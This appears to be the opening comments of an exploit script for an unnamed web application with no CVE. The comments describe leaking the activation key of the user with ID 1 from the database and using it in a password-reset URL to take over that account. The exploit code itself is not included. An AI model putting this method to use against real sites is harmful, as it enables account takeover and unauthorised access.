# CVE: N/A

# This script will leak the "activation_key" value for the user who's ID is set to 1 in the database.
# The activation key can be used to reset that user's password to whatever you want, bypassing the need to crack a hash.
# An example password reset URL would be: `/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]`
